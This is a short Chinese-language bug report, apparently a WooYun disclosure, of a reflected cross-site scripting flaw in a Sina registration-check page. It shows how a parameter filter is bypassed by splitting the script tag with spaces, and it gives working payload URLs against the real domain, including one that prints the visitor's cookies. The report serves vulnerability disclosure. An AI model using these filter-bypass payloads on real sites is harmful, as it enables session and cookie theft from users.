出现问题的url:http://duiyi.sina.com.cn/register/chk_id.asp?rid=wooyun&div=1

rid的参数过滤奇怪如果是完整的<script>，那么系统会提示system error.，说明有参数过滤
这种的会屏蔽的，但是如果参数是

<scr ipt >_xsscode_</sc ript>或者%3Cscr%20ipt%20%3_xsscode_%3C/sc%20ript%3E
那么就会变成成功的
<scipt>xsscode<script>


IE9,firefox10,chrome下跨站均成功


弹框...

http://duiyi.sina.com.cn/register/chk_id.asp?rid=%3Cscr+ipt+%3Edocument.write(document.cookie)%3C%2fsc+ript%3E&div=1

获取cookie.....

http://duiyi.sina.com.cn/register/chk_id.asp?rid=%3Cscr+ipt+%3Edocument.write(document.cookie)%3C%2fsc+ript%3E&div=1

修复方案：

额。。。